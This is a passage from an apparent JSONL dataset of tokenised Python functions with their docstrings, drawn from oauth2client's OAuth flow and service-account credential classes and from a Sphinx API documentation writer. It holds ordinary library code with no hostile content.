autoraise=True)<EOL>print(_BROWSER_OPENED_MESSAGE.format(address=authorize_url))<EOL><DEDENT>else:<EOL><INDENT>print(_GO_TO_LINK_MESSAGE.format(address=authorize_url))<EOL><DEDENT>code = None<EOL>if not flags.noauth_local_webserver:<EOL><INDENT>httpd.handle_request()<EOL>if '<STR_LIT:error>' in httpd.query_params:<EOL><INDENT>sys.exit('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:code>' in httpd.query_params:<EOL><INDENT>code = httpd.query_params['<STR_LIT:code>']<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>sys.exit('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>code = input('<STR_LIT>').strip()<EOL><DEDENT>try:<EOL><INDENT>credential = flow.step2_exchange(code, http=http)<EOL><DEDENT>except client.FlowExchangeError as e:<EOL><INDENT>sys.exit('<STR_LIT>'.format(e))<EOL><DEDENT>storage.put(credential)<EOL>credential.set_store(storage)<EOL>print('<STR_LIT>')<EOL>return credential<EOL>", "docstring": "Core code for a command-line application.\n\n    The ``run()`` function is called from your application and runs\n    through all the steps to obtain credentials. It takes a ``Flow``\n    argument and attempts to open an authorization server page in the\n    user's default web browser. The server asks the user to grant your\n    application access to the user's data. If the user grants access,\n    the ``run()`` function returns new credentials. The new credentials\n    are also stored in the ``storage`` argument, which updates the file\n    associated with the ``Storage`` object.\n\n    It presumes it is run from a command-line application and supports the\n    following flags:\n\n        ``--auth_host_name`` (string, default: ``localhost``)\n           Host name to use when running a local web server to handle\n           redirects during OAuth authorization.\n\n        ``--auth_host_port`` (integer, default: ``[8080, 8090]``)\n           Port to use when running a local web server to handle redirects\n           during OAuth authorization. Repeat this option to specify a list\n           of values.\n\n        ``--[no]auth_local_webserver`` (boolean, default: ``True``)\n           Run a local web server to handle redirects during OAuth\n           authorization.\n\n    The tools module defines an ``ArgumentParser`` the already contains the\n    flag definitions that ``run()`` requires. You can pass that\n    ``ArgumentParser`` to your ``ArgumentParser`` constructor::\n\n        parser = argparse.ArgumentParser(\n            description=__doc__,\n            formatter_class=argparse.RawDescriptionHelpFormatter,\n            parents=[tools.argparser])\n        flags = parser.parse_args(argv)\n\n    Args:\n        flow: Flow, an OAuth 2.0 Flow to step through.\n        storage: Storage, a ``Storage`` to store the credential in.\n        flags: ``argparse.Namespace``, (Optional) The command-line flags. This\n               is the object returned from calling ``parse_args()`` on\n               ``argparse.ArgumentParser`` as described above. Defaults\n               to ``argparser.parse_args()``.\n        http: An instance of ``httplib2.Http.request`` or something that\n              acts like it.\n\n    Returns:\n        Credentials, the obtained credential.", "id": "f2476:m1"}
{"signature": "def message_if_missing(filename):", "body": "return _CLIENT_SECRETS_MESSAGE.format(file_path=filename)<EOL>", "docstring": "Helpful message to display if the CLIENT_SECRETS file is missing.", "id": "f2476:m2"}
{"signature": "def do_GET(self):", "body": "self.send_response(http_client.OK)<EOL>self.send_header('<STR_LIT>', '<STR_LIT>')<EOL>self.end_headers()<EOL>parts = urllib.parse.urlparse(self.path)<EOL>query = _helpers.parse_unique_urlencoded(parts.query)<EOL>self.server.query_params = query<EOL>self.wfile.write(<EOL>b'<STR_LIT>')<EOL>self.wfile.write(<EOL>b'<STR_LIT>')<EOL>self.wfile.write(b'<STR_LIT>')<EOL>", "docstring": "Handle a GET request.\n\n        Parses the query parameters and prints a message\n        if the flow has completed. Note that we can't detect\n        if an error occurred.", "id": "f2476:c1:m0"}
{"signature": "def log_message(self, format, *args):", "body": "", "docstring": "Do not log messages to stdout while running as cmd. line program.", "id": "f2476:c1:m1"}
{"signature": "def _to_json(self, strip, to_serialize=None):", "body": "if to_serialize is None:<EOL><INDENT>to_serialize = copy.copy(self.__dict__)<EOL><DEDENT>pkcs12_val = to_serialize.get(_PKCS12_KEY)<EOL>if pkcs12_val is not None:<EOL><INDENT>to_serialize[_PKCS12_KEY] = base64.b64encode(pkcs12_val)<EOL><DEDENT>return super(ServiceAccountCredentials, self)._to_json(<EOL>strip, to_serialize=to_serialize)<EOL>", "docstring": "Utility function that creates JSON repr. of a credentials object.\n\n        Over-ride is needed since PKCS#12 keys will not in general be JSON\n        serializable.\n\n        Args:\n            strip: array, An array of names of members to exclude from the\n                   JSON.\n            to_serialize: dict, (Optional) The properties for this object\n                          that will be serialized. This allows callers to\n                          modify before serializing.\n\n        Returns:\n            string, a JSON representation of this instance, suitable to pass to\n            from_json().", "id": "f2477:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def _from_parsed_json_keyfile(cls, keyfile_dict, scopes,<EOL>token_uri=None, revoke_uri=None):<DEDENT>", "body": "creds_type = keyfile_dict.get('<STR_LIT:type>')<EOL>if creds_type != client.SERVICE_ACCOUNT:<EOL><INDENT>raise ValueError('<STR_LIT>', creds_type,<EOL>'<STR_LIT>', client.SERVICE_ACCOUNT)<EOL><DEDENT>service_account_email = keyfile_dict['<STR_LIT>']<EOL>private_key_pkcs8_pem = keyfile_dict['<STR_LIT>']<EOL>private_key_id = keyfile_dict['<STR_LIT>']<EOL>client_id = keyfile_dict['<STR_LIT>']<EOL>if not token_uri:<EOL><INDENT>token_uri = keyfile_dict.get('<STR_LIT>',<EOL>oauth2client.GOOGLE_TOKEN_URI)<EOL><DEDENT>if not revoke_uri:<EOL><INDENT>revoke_uri = keyfile_dict.get('<STR_LIT>',<EOL>oauth2client.GOOGLE_REVOKE_URI)<EOL><DEDENT>signer = crypt.Signer.from_string(private_key_pkcs8_pem)<EOL>credentials = cls(service_account_email, signer, scopes=scopes,<EOL>private_key_id=private_key_id,<EOL>client_id=client_id, token_uri=token_uri,<EOL>revoke_uri=revoke_uri)<EOL>credentials._private_key_pkcs8_pem = private_key_pkcs8_pem<EOL>return credentials<EOL>", "docstring": "Helper for factory constructors from JSON keyfile.\n\n        Args:\n            keyfile_dict: dict-like object, The parsed dictionary-like object\n                          containing the contents of the JSON keyfile.\n            scopes: List or string, Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for OAuth 2.0 provider token endpoint.\n                       If unset and not present in keyfile_dict, defaults\n                       to Google's endpoints.\n            revoke_uri: string, URI for OAuth 2.0 provider revoke endpoint.\n                       If unset and not present in keyfile_dict, defaults\n                       to Google's endpoints.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile contents.\n\n        Raises:\n            ValueError, if the credential type is not :data:`SERVICE_ACCOUNT`.\n            KeyError, if one of the expected keys is not present in\n                the keyfile.", "id": "f2477:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_json_keyfile_name(cls, filename, scopes='<STR_LIT>',<EOL>token_uri=None, revoke_uri=None):<DEDENT>", "body": "with open(filename, '<STR_LIT:r>') as file_obj:<EOL><INDENT>client_credentials = json.load(file_obj)<EOL><DEDENT>return cls._from_parsed_json_keyfile(client_credentials, scopes,<EOL>token_uri=token_uri,<EOL>revoke_uri=revoke_uri)<EOL>", "docstring": "Factory constructor from JSON keyfile by name.\n\n        Args:\n            filename: string, The location of the keyfile.\n            scopes: List or string, (Optional) Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for OAuth 2.0 provider token endpoint.\n                       If unset and not present in the key file, defaults\n                       to Google's endpoints.\n            revoke_uri: string, URI for OAuth 2.0 provider revoke endpoint.\n                       If unset and not present in the key file, defaults\n                       to Google's endpoints.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile.\n\n        Raises:\n            ValueError, if the credential type is not :data:`SERVICE_ACCOUNT`.\n            KeyError, if one of the expected keys is not present in\n                the keyfile.", "id": "f2477:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_json_keyfile_dict(cls, keyfile_dict, scopes='<STR_LIT>',<EOL>token_uri=None, revoke_uri=None):<DEDENT>", "body": "return cls._from_parsed_json_keyfile(keyfile_dict, scopes,<EOL>token_uri=token_uri,<EOL>revoke_uri=revoke_uri)<EOL>", "docstring": "Factory constructor from parsed JSON keyfile.\n\n        Args:\n            keyfile_dict: dict-like object, The parsed dictionary-like object\n                          containing the contents of the JSON keyfile.\n            scopes: List or string, (Optional) Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for OAuth 2.0 provider token endpoint.\n                       If unset and not present in keyfile_dict, defaults\n                       to Google's endpoints.\n            revoke_uri: string, URI for OAuth 2.0 provider revoke endpoint.\n                       If unset and not present in keyfile_dict, defaults\n                       to Google's endpoints.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile.\n\n        Raises:\n            ValueError, if the credential type is not :data:`SERVICE_ACCOUNT`.\n            KeyError, if one of the expected keys is not present in\n                the keyfile.", "id": "f2477:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def _from_p12_keyfile_contents(cls, service_account_email,<EOL>private_key_pkcs12,<EOL>private_key_password=None, scopes='<STR_LIT>',<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI):<DEDENT>", "body": "if private_key_password is None:<EOL><INDENT>private_key_password = _PASSWORD_DEFAULT<EOL><DEDENT>if crypt.Signer is not crypt.OpenSSLSigner:<EOL><INDENT>raise NotImplementedError(_PKCS12_ERROR)<EOL><DEDENT>signer = crypt.Signer.from_string(private_key_pkcs12,<EOL>private_key_password)<EOL>credentials = cls(service_account_email, signer, scopes=scopes,<EOL>token_uri=token_uri, revoke_uri=revoke_uri)<EOL>credentials._private_key_pkcs12 = private_key_pkcs12<EOL>credentials._private_key_password = private_key_password<EOL>return credentials<EOL>", "docstring": "Factory constructor from JSON keyfile.\n\n        Args:\n            service_account_email: string, The email associated with the\n                                   service account.\n            private_key_pkcs12: string, The contents of a PKCS#12 keyfile.\n            private_key_password: string, (Optional) Password for PKCS#12\n                                  private key. Defaults to ``notasecret``.\n            scopes: List or string, (Optional) Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for token endpoint. For convenience defaults\n                       to Google's endpoints but any OAuth 2.0 provider can be\n                       used.\n            revoke_uri: string, URI for revoke endpoint. For convenience\n                        defaults to Google's endpoints but any OAuth 2.0\n                        provider can be used.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile.\n\n        Raises:\n            NotImplementedError if pyOpenSSL is not installed / not the\n            active crypto library.", "id": "f2477:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def from_p12_keyfile(cls, service_account_email, filename,<EOL>private_key_password=None, scopes='<STR_LIT>',<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI):<DEDENT>", "body": "with open(filename, '<STR_LIT:rb>') as file_obj:<EOL><INDENT>private_key_pkcs12 = file_obj.read()<EOL><DEDENT>return cls._from_p12_keyfile_contents(<EOL>service_account_email, private_key_pkcs12,<EOL>private_key_password=private_key_password, scopes=scopes,<EOL>token_uri=token_uri, revoke_uri=revoke_uri)<EOL>", "docstring": "Factory constructor from JSON keyfile.\n\n        Args:\n            service_account_email: string, The email associated with the\n                                   service account.\n            filename: string, The location of the PKCS#12 keyfile.\n            private_key_password: string, (Optional) Password for PKCS#12\n                                  private key. Defaults to ``notasecret``.\n            scopes: List or string, (Optional) Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for token endpoint. For convenience defaults\n                       to Google's endpoints but any OAuth 2.0 provider can be\n                       used.\n            revoke_uri: string, URI for revoke endpoint. For convenience\n                        defaults to Google's endpoints but any OAuth 2.0\n                        provider can be used.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile.\n\n        Raises:\n            NotImplementedError if pyOpenSSL is not installed / not the\n            active crypto library.", "id": "f2477:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_p12_keyfile_buffer(cls, service_account_email, file_buffer,<EOL>private_key_password=None, scopes='<STR_LIT>',<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI):<DEDENT>", "body": "private_key_pkcs12 = file_buffer.read()<EOL>return cls._from_p12_keyfile_contents(<EOL>service_account_email, private_key_pkcs12,<EOL>private_key_password=private_key_password, scopes=scopes,<EOL>token_uri=token_uri, revoke_uri=revoke_uri)<EOL>", "docstring": "Factory constructor from JSON keyfile.\n\n        Args:\n            service_account_email: string, The email associated with the\n                                   service account.\n            file_buffer: stream, A buffer that implements ``read()``\n                         and contains the PKCS#12 key contents.\n            private_key_password: string, (Optional) Password for PKCS#12\n                                  private key. Defaults to ``notasecret``.\n            scopes: List or string, (Optional) Scopes to use when acquiring an\n                    access token.\n            token_uri: string, URI for token endpoint. For convenience defaults\n                       to Google's endpoints but any OAuth 2.0 provider can be\n                       used.\n            revoke_uri: string, URI for revoke endpoint. For convenience\n                        defaults to Google's endpoints but any OAuth 2.0\n                        provider can be used.\n\n        Returns:\n            ServiceAccountCredentials, a credentials object created from\n            the keyfile.\n\n        Raises:\n            NotImplementedError if pyOpenSSL is not installed / not the\n            active crypto library.", "id": "f2477:c0:m7"}
{"signature": "def _generate_assertion(self):", "body": "now = int(time.time())<EOL>payload = {<EOL>'<STR_LIT>': self.token_uri,<EOL>'<STR_LIT>': self._scopes,<EOL>'<STR_LIT>': now,<EOL>'<STR_LIT>': now + self.MAX_TOKEN_LIFETIME_SECS,<EOL>'<STR_LIT>': self._service_account_email,<EOL>}<EOL>payload.update(self._kwargs)<EOL>return crypt.make_signed_jwt(self._signer, payload,<EOL>key_id=self._private_key_id)<EOL>", "docstring": "Generate the assertion that will be used in the request.", "id": "f2477:c0:m8"}
{"signature": "def sign_blob(self, blob):", "body": "return self._private_key_id, self._signer.sign(blob)<EOL>", "docstring": "Cryptographically sign a blob (of bytes).\n\n        Implements abstract method\n        :meth:`oauth2client.client.AssertionCredentials.sign_blob`.\n\n        Args:\n            blob: bytes, Message to be signed.\n\n        Returns:\n            tuple, A pair of the private key ID used to sign the blob and\n            the signed contents.", "id": "f2477:c0:m9"}
{"signature": "@property<EOL><INDENT>def service_account_email(self):<DEDENT>", "body": "return self._service_account_email<EOL>", "docstring": "Get the email for the current service account.\n\n        Returns:\n            string, The email associated with the service account.", "id": "f2477:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def from_json(cls, json_data):<DEDENT>", "body": "if not isinstance(json_data, dict):<EOL><INDENT>json_data = json.loads(_helpers._from_bytes(json_data))<EOL><DEDENT>private_key_pkcs8_pem = None<EOL>pkcs12_val = json_data.get(_PKCS12_KEY)<EOL>password = None<EOL>if pkcs12_val is None:<EOL><INDENT>private_key_pkcs8_pem = json_data['<STR_LIT>']<EOL>signer = crypt.Signer.from_string(private_key_pkcs8_pem)<EOL><DEDENT>else:<EOL><INDENT>pkcs12_val = base64.b64decode(pkcs12_val)<EOL>password = json_data['<STR_LIT>']<EOL>signer = crypt.Signer.from_string(pkcs12_val, password)<EOL><DEDENT>credentials = cls(<EOL>json_data['<STR_LIT>'],<EOL>signer,<EOL>scopes=json_data['<STR_LIT>'],<EOL>private_key_id=json_data['<STR_LIT>'],<EOL>client_id=json_data['<STR_LIT>'],<EOL>user_agent=json_data['<STR_LIT>'],<EOL>**json_data['<STR_LIT>']<EOL>)<EOL>if private_key_pkcs8_pem is not None:<EOL><INDENT>credentials._private_key_pkcs8_pem = private_key_pkcs8_pem<EOL><DEDENT>if pkcs12_val is not None:<EOL><INDENT>credentials._private_key_pkcs12 = pkcs12_val<EOL><DEDENT>if password is not None:<EOL><INDENT>credentials._private_key_password = password<EOL><DEDENT>credentials.invalid = json_data['<STR_LIT>']<EOL>credentials.access_token = json_data['<STR_LIT>']<EOL>credentials.token_uri = json_data['<STR_LIT>']<EOL>credentials.revoke_uri = json_data['<STR_LIT>']<EOL>token_expiry = json_data.get('<STR_LIT>', None)<EOL>if token_expiry is not None:<EOL><INDENT>credentials.token_expiry = datetime.datetime.strptime(<EOL>token_expiry, client.EXPIRY_FORMAT)<EOL><DEDENT>return credentials<EOL>", "docstring": "Deserialize a JSON-serialized instance.\n\n        Inverse to :meth:`to_json`.\n\n        Args:\n            json_data: dict or string, Serialized JSON (as a string or an\n                       already parsed dictionary) representing a credential.\n\n        Returns:\n            ServiceAccountCredentials from the serialized data.", "id": "f2477:c0:m12"}
{"signature": "def create_with_claims(self, claims):", "body": "new_kwargs = dict(self._kwargs)<EOL>new_kwargs.update(claims)<EOL>result = self.__class__(self._service_account_email,<EOL>self._signer,<EOL>scopes=self._scopes,<EOL>private_key_id=self._private_key_id,<EOL>client_id=self.client_id,<EOL>user_agent=self._user_agent,<EOL>**new_kwargs)<EOL>result.token_uri = self.token_uri<EOL>result.revoke_uri = self.revoke_uri<EOL>result._private_key_pkcs8_pem = self._private_key_pkcs8_pem<EOL>result._private_key_pkcs12 = self._private_key_pkcs12<EOL>result._private_key_password = self._private_key_password<EOL>return result<EOL>", "docstring": "Create credentials that specify additional claims.\n\n        Args:\n            claims: dict, key-value pairs for claims.\n\n        Returns:\n            ServiceAccountCredentials, a copy of the current service account\n            credentials with updated claims to use when obtaining access\n            tokens.", "id": "f2477:c0:m15"}
{"signature": "def create_delegated(self, sub):", "body": "return self.create_with_claims({'<STR_LIT>': sub})<EOL>", "docstring": "Create credentials that act as domain-wide delegation of authority.\n\n        Use the ``sub`` parameter as the subject to delegate on behalf of\n        that user.\n\n        For example::\n\n          >>> account_sub = 'foo@email.com'\n          >>> delegate_creds = creds.create_delegated(account_sub)\n\n        Args:\n            sub: string, An email address that this service account will\n                 act on behalf of (via domain-wide delegation).\n\n        Returns:\n            ServiceAccountCredentials, a copy of the current service account\n            updated to act on behalf of ``sub``.", "id": "f2477:c0:m16"}
{"signature": "def authorize(self, http):", "body": "transport.wrap_http_for_jwt_access(self, http)<EOL>return http<EOL>", "docstring": "Authorize an httplib2.Http instance with a JWT assertion.\n\n        Unless specified, the 'aud' of the assertion will be the base\n        uri of the request.\n\n        Args:\n            http: An instance of ``httplib2.Http`` or something that acts\n                  like it.\n        Returns:\n            A modified instance of http that was passed in.\n        Example::\n            h = httplib2.Http()\n            h = credentials.authorize(h)", "id": "f2477:c1:m1"}
{"signature": "def get_access_token(self, http=None, additional_claims=None):", "body": "if additional_claims is None:<EOL><INDENT>if self.access_token is None or self.access_token_expired:<EOL><INDENT>self.refresh(None)<EOL><DEDENT>return client.AccessTokenInfo(<EOL>access_token=self.access_token, expires_in=self._expires_in())<EOL><DEDENT>else:<EOL><INDENT>token, unused_expiry = self._create_token(additional_claims)<EOL>return client.AccessTokenInfo(<EOL>access_token=token, expires_in=self._MAX_TOKEN_LIFETIME_SECS)<EOL><DEDENT>", "docstring": "Create a signed jwt.\n\n        Args:\n            http: unused\n            additional_claims: dict, additional claims to add to\n                the payload of the JWT.\n        Returns:\n            An AccessTokenInfo with the signed jwt", "id": "f2477:c1:m2"}
{"signature": "def revoke(self, http):", "body": "pass<EOL>", "docstring": "Cannot revoke JWTAccessCredentials tokens.", "id": "f2477:c1:m3"}
{"signature": "def refresh(self, http):", "body": "self._refresh(None)<EOL>", "docstring": "Refreshes the access_token.\n\n        The HTTP object is unused since no request needs to be made to\n        get a new token, it can just be generated locally.\n\n        Args:\n            http: unused HTTP object", "id": "f2477:c1:m6"}
{"signature": "def _refresh(self, http):", "body": "self.access_token, self.token_expiry = self._create_token()<EOL>", "docstring": "Refreshes the access_token.\n\n        Args:\n            http: unused HTTP object", "id": "f2477:c1:m7"}
{"signature": "def __init__(self,<EOL>package_name,<EOL>rst_extension='<STR_LIT>',<EOL>package_skip_patterns=None,<EOL>module_skip_patterns=None,<EOL>other_defines = True<EOL>):", "body": "if package_skip_patterns is None:<EOL><INDENT>package_skip_patterns = ['<STR_LIT>']<EOL><DEDENT>if module_skip_patterns is None:<EOL><INDENT>module_skip_patterns = ['<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>self.package_name = package_name<EOL>self.rst_extension = rst_extension<EOL>self.package_skip_patterns = package_skip_patterns<EOL>self.module_skip_patterns = module_skip_patterns<EOL>self.other_defines = other_defines<EOL>", "docstring": "Initialize package for parsing\n\n        Parameters\n        ----------\n        package_name : string\n            Name of the top-level package.  *package_name* must be the\n            name of an importable package\n        rst_extension : string, optional\n            Extension for reST files, default '.rst'\n        package_skip_patterns : None or sequence of {strings, regexps}\n            Sequence of strings giving URIs of packages to be excluded\n            Operates on the package path, starting at (including) the\n            first dot in the package path, after *package_name* - so,\n            if *package_name* is ``sphinx``, then ``sphinx.util`` will\n            result in ``.util`` being passed for searching by these\n            regexps.  If is None, gives default. Default is:\n            ['\\.tests$']\n        module_skip_patterns : None or sequence\n            Sequence of strings giving URIs of modules to be excluded\n            Operates on the module name including preceding URI path,\n            back to the first dot after *package_name*.  For example\n            ``sphinx.util.console`` results in the string to search of\n            ``.util.console``\n            If is None, gives default. Default is:\n            ['\\.setup$', '\\._']\n        other_defines : {True, False}, optional\n            Whether to include classes and functions that are imported in a\n            particular module but not defined there.", "id": "f2494:c0:m0"}
{"signature": "def set_package_name(self, package_name):", "body": "<EOL>self._package_name = package_name<EOL>root_module = self._import(package_name)<EOL>self.root_path = root_module.__path__[-<NUM_LIT:1>]<EOL>self.written_modules = None<EOL>", "docstring": "Set package_name\n\n        >>> docwriter = ApiDocWriter('sphinx')\n        >>> import sphinx\n        >>> docwriter.root_path == sphinx.__path__[0]\n        True\n        >>> docwriter.package_name = 'docutils'\n        >>> import docutils\n        >>> docwriter.root_path == docutils.__path__[0]\n        True", "id": "f2494:c0:m2"}
{"signature": "def _import(self, name):", "body": "mod = __import__(name)<EOL>components = name.split('<STR_LIT:.>')<EOL>for comp in components[<NUM_LIT:1>:]:<EOL><INDENT>mod = getattr(mod, comp)<EOL><DEDENT>return mod<EOL>", "docstring": "Import namespace package", "id": "f2494:c0:m3"}
{"signature": "def _get_object_name(self, line):", "body": "name = line.split()[<NUM_LIT:1>].split('<STR_LIT:(>')[<NUM_LIT:0>].strip()<EOL>return name.rstrip('<STR_LIT::>')<EOL>", "docstring": "Get second token in line\n        >>> docwriter = ApiDocWriter('sphinx')\n        >>> docwriter._get_object_name(\"  def func():  \")\n        'func'\n        >>> docwriter._get_object_name(\"  class Klass(object):  \")\n        'Klass'\n        >>> docwriter._get_object_name(\"  class Klass:  \")\n        'Klass'", "id": "f2494:c0:m4"}
{"signature": "def _uri2path(self, uri):", "body": "if uri == self.package_name:<EOL><INDENT>return os.path.join(self.root_path, '<STR_LIT>')<EOL><DEDENT>path = uri.replace(self.package_name + '<STR_LIT:.>', '<STR_LIT>')<EOL>path = path.replace('<STR_LIT:.>', os.path.sep)<EOL>path = os.path.join(self.root_path, path)<EOL>if os.path.exists(path + '<STR_LIT>'): <EOL><INDENT>path += '<STR_LIT>'<EOL><DEDENT>elif os.path.exists(os.path.join(path, '<STR_LIT>')):<EOL><INDENT>path = os.path.join(path, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>return path<EOL>", "docstring": "Convert uri to absolute filepath\n\n        Parameters\n        ----------\n        uri : string\n            URI of python module to return path for\n\n        Returns\n        -------\n        path : None or string\n            Returns None if there is no valid path for this URI\n            Otherwise returns absolute file system path for URI\n\n        Examples\n        --------\n        >>> docwriter = ApiDocWriter('sphinx')\n        >>> import sphinx\n        >>> modpath = sphinx.__path__[0]\n        >>> res = docwriter._uri2path('sphinx.builder')\n        >>> res == os.path.join(modpath, 'builder.py')\n        True\n        >>> res = docwriter._uri2path('sphinx')\n        >>> res == os.path.join(modpath, '__init__.py')\n        True\n        >>> docwriter._uri2path('sphinx.does_not_exist')", "id": "f2494:c0:m5"}
{"signature": "def _path2uri(self, dirpath):", "body": "package_dir = self.package_name.replace('<STR_LIT:.>', os.path.sep)<EOL>relpath = dirpath.replace(self.root_path, package_dir)<EOL>if relpath.startswith(os.path.sep):<EOL><INDENT>relpath = relpath[<NUM_LIT:1>:]<EOL><DEDENT>return relpath.replace(os.path.sep, '<STR_LIT:.>')<EOL>", "docstring": "Convert directory path to uri", "id": "f2494:c0:m6"}
{"signature": "def _parse_module(self, uri):", "body": "filename = self._uri2path(uri)<EOL>if filename is None:<EOL><INDENT>print(filename, '<STR_LIT>')<EOL>return ([],[])<EOL><DEDENT>f = open(filename, '<STR_LIT>')<EOL>functions, classes = self._parse_lines(f)<EOL>f.close()<EOL>return functions, classes<EOL>", "docstring": "Parse module defined in *uri*", "id": "f2494:c0:m7"}
{"signature": "def _parse_module_with_import(self, uri):", "body": "mod = __import__(uri, fromlist=[uri])<EOL>obj_strs = [obj for obj in dir(mod) if not obj.startswith('<STR_LIT:_>')]<EOL>functions = []<EOL>classes = []<EOL>for obj_str in obj_strs:<EOL><INDENT>if obj_str not in mod.__dict__:<EOL><INDENT>continue<EOL><DEDENT>obj = mod.__dict__[obj_str]<EOL>if not self.other_defines and not getmodule(obj) == mod:<EOL><INDENT>continue<EOL><DEDENT>if hasattr(obj, '<STR_LIT>') orisinstance(obj, BuiltinFunctionType) orisinstance(obj, FunctionType):<EOL><INDENT>functions.append(obj_str)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>issubclass(obj, object)<EOL>classes.append(obj_str)<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return functions, classes<EOL>", "docstring": "Look for functions and classes in an importable module.\n\n        Parameters\n        ----------\n        uri : str\n            The name of the module to be parsed. This module needs to be\n            importable.\n\n        Returns\n        -------\n        functions : list of str\n            A list of (public) function names in the module.\n        classes : list of str\n            A list of (public) class names in the module.", "id": "f2494:c0:m8"}
{"signature": "def _parse_lines(self, linesource):", "body": "functions = []<EOL>classes = []<EOL>for line in linesource:<EOL><INDENT>if line.startswith('<STR_LIT>') and line.count('<STR_LIT:(>'):<EOL><INDENT>name = self._get_object_name(line)<EOL>if not name.startswith('<STR_LIT:_>'):<EOL><INDENT>functions.append(name)<EOL><DEDENT><DEDENT>elif line.startswith('<STR_LIT>'):<EOL><INDENT>name = self._get_object_name(line)<EOL>if not name.startswith('<STR_LIT:_>'):<EOL><INDENT>classes.append(name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>functions.sort()<EOL>classes.sort()<EOL>return functions, classes<EOL>", "docstring": "Parse lines of text for functions and classes", "id": "f2494:c0:m9"}
{"signature": "def generate_api_doc(self, uri):", "body": "<EOL>functions, classes = self._parse_module_with_import(uri)<EOL>if not len(functions) and not len(classes) and DEBUG:<EOL><INDENT>print('<STR_LIT>', uri)  <EOL><DEDENT>uri_short = re.sub(r'<STR_LIT>' % self.package_name,'<STR_LIT>',uri)<EOL>head = '<STR_LIT>'<EOL>body = '<STR_LIT>'<EOL>if '<STR_LIT:.>' in uri_short:<EOL><INDENT>title = '<STR_LIT>' + uri_short + '<STR_LIT>'<EOL>head += title + '<STR_LIT:\\n>' + self.rst_section_levels[<NUM_LIT:2>] * len(title)<EOL><DEDENT>else:<EOL><INDENT>title = '<STR_LIT>' + uri_short + '<STR_LIT>'<EOL>head += title + '<STR_LIT:\\n>' + self.rst_section_levels[<NUM_LIT:1>] * len(title)<EOL><DEDENT>head += '<STR_LIT>' + uri + '<STR_LIT:\\n>'<EOL>head += '<STR_LIT>' + uri + '<STR_LIT:\\n>'<EOL>body += '<STR_LIT>' + uri + '<STR_LIT>'<EOL>for c in classes:<EOL><INDENT>body += '<STR_LIT>' + c + '<STR_LIT>'+ self.rst_section_levels[<NUM_LIT:3>] *(len(c)+<NUM_LIT:9>) + '<STR_LIT>'<EOL>body += '<STR_LIT>' + c + '<STR_LIT:\\n>'<EOL>body += '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT:\\n>''<STR_LIT>'<EOL><DEDENT>head += '<STR_LIT>'<EOL>for f in classes + functions:<EOL><INDENT>head += '<STR_LIT:U+0020>' + f + '<STR_LIT:\\n>'<EOL><DEDENT>head += '<STR_LIT:\\n>'<EOL>for f in functions:<EOL><INDENT>body += f + '<STR_LIT:\\n>'<EOL>body += self.rst_section_levels[<NUM_LIT:3>] * len(f) + '<STR_LIT:\\n>'<EOL>body += '<STR_LIT>' + f + '<STR_LIT>'<EOL><DEDENT>return head, body<EOL>", "docstring": "Make autodoc documentation template string for a module\n\n        Parameters\n        ----------\n        uri : string\n            python location of module - e.g 'sphinx.builder'\n\n        Returns\n        -------\n        head : string\n            Module name, table of contents.\n        body : string\n            Function and class docstrings.", "id": "f2494:c0:m10"}
{"signature": "def _survives_exclude(self, matchstr, match_type):", "body": "if match_type == '<STR_LIT>':<EOL><INDENT>patterns = self.module_skip_patterns<EOL><DEDENT>elif match_type == '<STR_LIT>':<EOL><INDENT>patterns = self.package_skip_patterns<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>% match_type)<EOL><DEDENT>L = len(self.package_name)<EOL>if matchstr[:L] == self.package_name:<EOL><INDENT>matchstr = matchstr[L:]<EOL><DEDENT>for pat in patterns:<EOL><INDENT>try:<EOL><INDENT>pat.search<EOL><DEDENT>except AttributeError:<EOL><INDENT>pat = re.compile(pat)<EOL><DEDENT>if pat.search(matchstr):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Returns True if *matchstr* does not match patterns\n\n        ``self.package_name`` removed from front of string if present\n\n        Examples\n        --------\n        >>> dw = ApiDocWriter('sphinx')\n        >>> dw._survives_exclude('sphinx.okpkg', 'package')\n        True\n        >>> dw.package_skip_patterns.append('^\\\\.badpkg$')\n        >>> dw._survives_exclude('sphinx.badpkg', 'package')\n        False\n        >>> dw._survives_exclude('sphinx.badpkg', 'module')\n        True\n        >>> dw._survives_exclude('sphinx.badmod', 'module')\n        True\n        >>> dw.module_skip_patterns.append('^\\\\.badmod$')\n        >>> 